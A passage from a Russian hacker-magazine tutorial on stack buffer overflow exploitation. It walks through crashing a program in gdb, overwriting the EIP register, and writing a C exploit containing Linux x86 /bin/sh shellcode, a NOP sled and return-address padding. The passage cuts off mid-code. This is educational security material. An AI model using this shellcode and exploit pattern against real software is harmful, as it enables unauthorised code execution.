Сокрушительная атака Андрей Семенюченко Спецвыпуск: Хакер, номер #058, стр. 058-010-4 Отладчик всему голова Итак, переполнение буфера (в данном случае стека) свершилось. Но как использовать уязвимость программы в своих корыстных целях? Для лучшего понимания воспользуемся популярным отладчиком gdb. gdb ./simple Данная команда позволяет войти в интерактивный режим отладчика. Теперь запустим программу ./simple с необходимыми параметрами: r `perl –e ‘print “X”x524’` Получим сообщение вида: Program received signal SIGSEGV, Segmentation fault. На следующем шаге рассмотрим содержание регистров процессора, введя i r: листинг eax 0x0 0 ecx 0x4212ee20 1108536864 edx 0x11f 287 ebx 0x42130a14 1108544020 esp 0xbfffdf00 0xbfffdf00 ebp 0x58585858 0x58585858 esi 0x40015360 1073828704 edi 0x80483d9 134513625 eip 0x42015501 0x42015501 eflags 0x10202 66050 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 В данном случае нас интересует значение регистров ebp и eip. Регистр EBP - это регистр, который указывает на текущий фрейм стека. С его помощью мы можем обращаться к данным в стеке. Регистр EIP содержит смещение следующей команды, которую нужно выполнить. Значение ebp, как ты видишь, полностью затерто символом "X" (0x58 в шестнадцатеричном формате). В eip, напротив, содержится какой-то мусор. Для того чтобы перетереть и этот регистр, перегружаем наш буфер еще на четыре символа: r `perl –e ‘print “X”x524’`ZZZZ Среди прочих получено следующее значение регистра eip: eip 0x5a5a5a5a 0x5a5a5a5a Это означает, что eip сейчас заполнен символами "Z" в шестнадцатеричном формате. Основная же цель - заполнить этот регистр адресом шелл-кода, который мы хотим выполнить, и тогда программа не будет вываливаться в Segmentation fault, а в качестве следующей команды выполнит наш шелл-код. Будь осторожен! Многие злоумышленники не публикуют свои эксплойты на публичных ресурсах. Поэтому, помимо периодического обновления системы, не забывай о других средствах безопасности. Пишем эксплойт Ну вот, в регистрах разобрались, как действовать, поняли, остается только написать соответствующий эксплойт. Посмотрим на код во врезке. #define BUFFERSIZE 600 /* Уязвимый буфер + 100 байт */ /* linux x86 shellcode */ char lunixshell[] = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89 \x46\x0c\x89\x76\x08\xb0" "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c \xcd\x80\x29\xc0\x40\xcd" "\x80\xe8\xde\xff\xff\xff/bin/sh"; unsigned long sp(void) { __asm__("movl %esp, %eax"); } int main(int argc, char *argv[]) { int i; int offset=0; long esp, ret, *addr_ptr; char *buffer, *ptr, *osptr; esp = sp(); /* получили указатель на стек */ ret = esp-offset; /* получили адрес возврата */ /* выделяем память для буфера */ if(!(buffer = malloc(BUFFERSIZE))) { printf("Couldn't allocate memory.\n"); exit(-1); } /* заполняем буфер адресом возврата */ ptr = buffer; addr_ptr = (long *)ptr; for(i=0; i<BUFFERSIZE; i+=4) *(addr_ptr++) = ret; /* заполняем первую половину буфера инструкцией NOP */ for(i=0; i<BUFFERSIZE/2; i++) buffer[i] = '\x90'; |